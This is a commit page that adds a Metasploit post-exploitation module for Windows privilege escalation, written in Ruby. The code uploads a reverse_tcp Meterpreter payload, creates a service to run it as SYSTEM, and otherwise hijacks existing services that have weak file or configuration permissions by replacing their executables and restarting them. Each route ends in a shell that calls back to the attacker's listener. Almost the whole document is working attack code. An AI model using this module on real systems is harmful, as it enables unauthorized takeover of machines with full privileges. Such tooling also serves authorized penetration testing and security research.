Add service permissions escalate post module.
git-svn-id: file:///home/svn/framework3/trunk@11739 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
224bd1c6a2
commit
b241fc1530
|
@ -0,0 +1,230 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/post/windows/services'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
include ::Msf::Post::WindowsServices
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Service Permissions Escalate',
|
||||
'Description' => %q{
|
||||
Many services are configured with insecure permissions. This
|
||||
module attempts to create a service, then searches through a list of
|
||||
existing services to look for insecure file or configuration
|
||||
permissions that will let it replace the executable with a payload.
|
||||
It will then attempt to restart the replaced service to run the
|
||||
payload. If that fails, the next time the service is started (such as
|
||||
on reboot) the attacker will gain elevated privileges.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'scriptjunkie' ],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => [ 'windows' ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'References' => [ ]
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptAddress.new("LHOST", [ false, "Listener IP address for the new session" ]),
|
||||
OptPort.new("LPORT", [ false, "Listener port for the new session", 4444 ]),
|
||||
OptBool.new("AGGRESSIVE", [ false, "Exploit as many services as possible (dangerous)", false ])
|
||||
])
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("running")
|
||||
|
||||
lhost = datastore["LHOST"] || Rex::Socket.source_address
|
||||
lport = datastore["LPORT"] || 4444
|
||||
payload = datastore['PAYLOAD'] || "windows/meterpreter/reverse_tcp"
|
||||
|
||||
# create a session handler
|
||||
handler = session.framework.exploits.create("multi/handler")
|
||||
handler.datastore['PAYLOAD'] = payload
|
||||
handler.datastore['LHOST'] = lhost
|
||||
handler.datastore['LPORT'] = lport
|
||||
handler.datastore['InitialAutoRunScript'] = "migrate -f"
|
||||
handler.datastore['ExitOnSession'] = true
|
||||
|
||||
# start the session handler
|
||||
|
||||
#handler.exploit_module = self
|
||||
handler.exploit_simple(
|
||||
'LocalInput' => self.user_input,
|
||||
'LocalOutput' => self.user_output,
|
||||
'Payload' => handler.datastore['PAYLOAD'],
|
||||
'RunAsJob' => true
|
||||
)
|
||||
|
||||
# randomize the filename
|
||||
filename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
||||
|
||||
# randomize the exe name
|
||||
tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
|
||||
|
||||
# generate a payload
|
||||
pay = session.framework.payloads.create(payload)
|
||||
pay.datastore['LHOST'] = lhost
|
||||
pay.datastore['LPORT'] = lport
|
||||
|
||||
raw = pay.generate
|
||||
|
||||
exe = Msf::Util::EXE.to_win32pe(session.framework, raw)
|
||||
|
||||
sysdir = session.fs.file.expand_path("%SystemRoot%")
|
||||
tmpdir = session.fs.file.expand_path("%TEMP%")
|
||||
|
||||
begin
|
||||
print_status("Meterpreter stager executable #{exe.length} bytes long being uploaded..")
|
||||
#
|
||||
# Upload the payload to the filesystem
|
||||
#
|
||||
tempexe = tmpdir + "\\" + tempexe_name
|
||||
fd = client.fs.file.new(tempexe, "wb")
|
||||
fd.write(exe)
|
||||
fd.close
|
||||
rescue ::Exception => e
|
||||
print_error("Error uploading file #{filename}: #{e.class} #{e}")
|
||||
return
|
||||
end
|
||||
|
||||
#attempt to make new service
|
||||
client.railgun.kernel32.LoadLibraryA("advapi32.dll")
|
||||
client.railgun.get_dll('advapi32')
|
||||
client.railgun.add_function( 'advapi32', 'DeleteService','BOOL',[
|
||||
[ "DWORD", "hService", "in" ]
|
||||
])
|
||||
|
||||
#SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current config
|
||||
|
||||
print_status("Trying to add a new service...")
|
||||
adv = client.railgun.advapi32
|
||||
manag = adv.OpenSCManagerA(nil,nil,0x10013)
|
||||
if(manag["return"] != 0)
|
||||
# SC_MANAGER_CREATE_SERVICE = 0x0002
|
||||
# SERVICE_START=0x0010 SERVICE_WIN32_OWN_PROCESS= 0X00000010
|
||||
# SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0
|
||||
newservice = adv.CreateServiceA(manag["return"],Rex::Text.rand_text_alpha((rand(8)+6)),
|
||||
"",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil)
|
||||
if(newservice["return"] != 0)
|
||||
print_status("Created service... #{newservice["return"]}")
|
||||
ret = adv.StartServiceA(newservice["return"], 0, nil)
|
||||
print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.")
|
||||
adv.DeleteService(newservice["return"])
|
||||
adv.CloseServiceHandle(newservice["return"])
|
||||
if datastore['AGGRESSIVE'] != true
|
||||
adv.CloseServiceHandle(manag["return"])
|
||||
return
|
||||
end
|
||||
else
|
||||
print_error("Uhoh. service creation failed, but we should have the permissions. :-(")
|
||||
end
|
||||
else
|
||||
print_status("No privs to create a service...")
|
||||
manag = adv.OpenSCManagerA(nil,nil,1)
|
||||
if(manag["return"] == 0)
|
||||
print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.")
|
||||
end
|
||||
end
|
||||
print_status("Trying to find weak permissions in existing services..")
|
||||
#Search through list of services to find weak permissions, whether file or config
|
||||
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
|
||||
#for each service
|
||||
service_list.each do |serv|
|
||||
begin
|
||||
srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s
|
||||
if srvtype != "16"
|
||||
continue
|
||||
end
|
||||
moved = false
|
||||
configed = false
|
||||
#default path, but there should be an ImagePath registry key
|
||||
source = client.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv}.exe")
|
||||
#get path to exe; parse out quotes and arguments
|
||||
sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s
|
||||
sourcemaybe = client.fs.file.expand_path(sourceorig)
|
||||
if( sourcemaybe[0] == '"' )
|
||||
sourcemaybe = sourcemaybe.split('"')[1]
|
||||
else
|
||||
sourcemaybe = sourcemaybe.split(' ')[0]
|
||||
end
|
||||
begin
|
||||
client.fs.file.stat(sourcemaybe) #check if it really exists
|
||||
source = sourcemaybe
|
||||
rescue
|
||||
print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}")
|
||||
end
|
||||
#try to exploit weak file permissions
|
||||
if(source != tempexe && client.railgun.kernel32.MoveFileA(source, source+'.bak')["return"])
|
||||
client.railgun.kernel32.CopyFileA(tempexe, source, false)
|
||||
print_status("#{serv} has weak file permissions - #{source} moved to #{source+'.bak'} and replaced.")
|
||||
moved = true
|
||||
end
|
||||
#try to exploit weak config permissions
|
||||
#open with SERVICE_CHANGE_CONFIG (0x0002)
|
||||
servhandleret = adv.OpenServiceA(manag["return"],serv,2)
|
||||
if(servhandleret["return"] != 0)
|
||||
#SERVICE_NO_CHANGE is 0xFFFFFFFF
|
||||
if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
|
||||
0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil))
|
||||
print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.")
|
||||
configed = true
|
||||
end
|
||||
adv.CloseServiceHandle(servhandleret["return"])
|
||||
|
||||
end
|
||||
if(moved != true && configed != true)
|
||||
print_status("No exploitable weak permissions found on #{serv}")
|
||||
continue
|
||||
end
|
||||
print_status("Restarting #{serv}")
|
||||
#open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020)
|
||||
servhandleret = adv.OpenServiceA(manag["return"],serv,0x30)
|
||||
if(servhandleret["return"] != 0)
|
||||
#SERVICE_CONTROL_STOP = 0x00000001
|
||||
if(adv.ControlService(servhandleret["return"],1,56))
|
||||
client.railgun.kernel32.Sleep(1000)
|
||||
adv.StartServiceA(servhandleret["return"],0,nil)
|
||||
print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.")
|
||||
#Cleanup
|
||||
if moved == true
|
||||
client.railgun.kernel32.MoveFileExA(source+'.bak', source, 1)
|
||||
end
|
||||
if configed == true
|
||||
servhandleret = adv.OpenServiceA(manag["return"],serv,2)
|
||||
adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
|
||||
0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil)
|
||||
adv.CloseServiceHandle(servhandleret["return"])
|
||||
end
|
||||
else
|
||||
print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)")
|
||||
end
|
||||
adv.CloseServiceHandle(servhandleret["return"])
|
||||
if datastore['AGGRESSIVE'] != true
|
||||
return
|
||||
end
|
||||
else
|
||||
print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)")
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
Loading…
Reference in New Issue